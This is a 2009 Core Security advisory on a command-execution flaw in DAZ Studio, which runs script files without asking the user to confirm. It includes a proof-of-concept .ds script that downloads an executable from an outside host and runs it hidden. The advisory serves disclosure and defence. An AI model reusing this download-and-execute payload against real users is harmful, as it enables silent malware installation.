DAZ Studio Arbitrary Command Execution

1. Advisory Information

Title: DAZ Studio Arbitrary Command Execution
Advisory Id: CORE-2009-0911
Advisory URL: https://www.coresecurity.com/core-labs/advisories/dazstudio-scripting-injection
Date published: 2009-12-02
Date of last update: 2009-12-01
Vendors contacted: DAZ
Release mode: User release

2. Vulnerability Information

Class: Insufficient UI Warning of Dangerous Operations [CWE-357]
Impact: Code execution
Remotely Exploitable: Yes
Locally Exploitable: No
Bugtraq ID: 37176
CVE Name: CVE-2009-4148

3. Vulnerability Description

DAZ Studio [2] is a 3D figure illustration/animation application released by DAZ 3D Inc. DAZ Studio can be accessed via a scripting language which allows for quite a bit of diversity in tool creation. DAZ Studio does not ask for any confirmation from the user prior to executing a scripting file with any of the following extensions: .ds, .dsa, .dse, .dsb. An attacker could abuse the scripting interface by enticing an unsuspecting user to open a malicious scripting file, thus obtaining remote code execution.

4. Vulnerable packages

  • DAZ Studio 2.3.3.161
  • DAZ Studio 2.3.3.163
  • DAZ Studio 3.0.1.135
  • Older versions are probably affected too, but they were not checked.

5. Vendor Information, Solutions and Workarounds

The vendor did not provide fixes or workaround information.

To prevent the accidental execution of malicious scripting files you can disable the default file association of the dangerous file extensions in the Windows Explorer.

6. Credits

This vulnerability was discovered and researched by Diego Juarez from Core Security Technologies during Bugweek 2009 [1].

7. Technical Description / Proof of Concept Code

The following Proof of Concept .ds file demonstrates remote code execution by downloading and executing putty in the context of DAZ Studio.

// DAZ Studio PoC var oFile = new DzFile("d:\\test.js"); oFile.open(2); oFile.write
("s=WScript.CreateObject(\'WScript.Shell\');o=WScript.CreateObject(\'ADODB.Stream\');e=s.Environment
(\'Process\');u=\'http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe\';b=e.Item(\'TEMP\')+
\'\\\\agent.exe\';try{x=new ActiveXObject(\'Microsoft.XMLHTTP\');}catch(e){x=new ActiveXObject
(\'MSXML2.ServerXMLHTTP\');}if(!x)exit(0);x.open(\'GET\',u,0);x.send(null);d=x.responseBody;o.
Type=1;o.Mode=3;o.Open();o.Write(d);o.SaveToFile(b,2);s.Run(b,0);\r\n"); oFile.close() 
var oProcess = new DzProcess(["wscript", "d:\\test.js"]); oProcess.start(); 

 

8. Report Timeline

  • 2009-11-06: Core Security Technologies completes a support form trying to reach a security contact from DAZ.
  • 2009-11-06: Core receives an email saying that Core contact email was not recognised as a registered email.
  • 2009-11-06: Core completes a registration form to be able to contact the support team.
  • 2009-11-13: Since DAZ support team didn't respond to any mail, Core contacts CERT trying to obtain a valid security contact at DAZ.
  • 2009-11-16: CERT acknowledges the comunication, and Core reschedules the advisory to November 30th, 2009 based on CERT recommendations.
  • 2009-11-18: CERT communicates that the vendor doesn't seem familiar with vulnerability reporting/disclosure, and request additional information about the vulnerability.
  • 2009-11-18: CERT contacted DAZ four times between 11/16 and 11/30.
  • 2009-11-19: Core replies that the issue is a script injection vulnerability.
  • 2009-11-30: DAZ did not wish to provide contact information.
  • 2009-12-03: The advisory CORE-2009-0911 is published.

9. References

[1] The author participated in Core Bugweek 2009 as member of the team "Gimbal Lock N Load".
[2] DAZ Studio: http://www.daz3d.com/

10. About CoreLabs

CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: https://www.coresecurity.com/core-labs.

11. About Core Security Technologies

Core Security Technologies develops strategic solutions that help security-conscious organizations worldwide develop and maintain a proactive process for securing their networks. The company's flagship product, CORE IMPACT, is the most comprehensive product for performing enterprise security assurance testing. CORE IMPACT evaluates network, endpoint and end-user vulnerabilities and identifies what resources are exposed. It enables organizations to determine if current security investments are detecting and preventing attacks. Core Security Technologies augments its leading technology solution with world-class security consulting services, including penetration testing and software security auditing. Based in Boston, MA and Buenos Aires, Argentina, Core Security Technologies can be reached at https://www.coresecurity.com.

12. Disclaimer

The contents of this advisory are copyright (c) 2009 Core Security Technologies and (c) 2009 CoreLabs, and may be distributed freely provided that no fee is charged for this distribution and proper credit is given.

13. PGP/GPG Keys

This advisory has been signed with the GPG key of Core Security Technologies advisories team.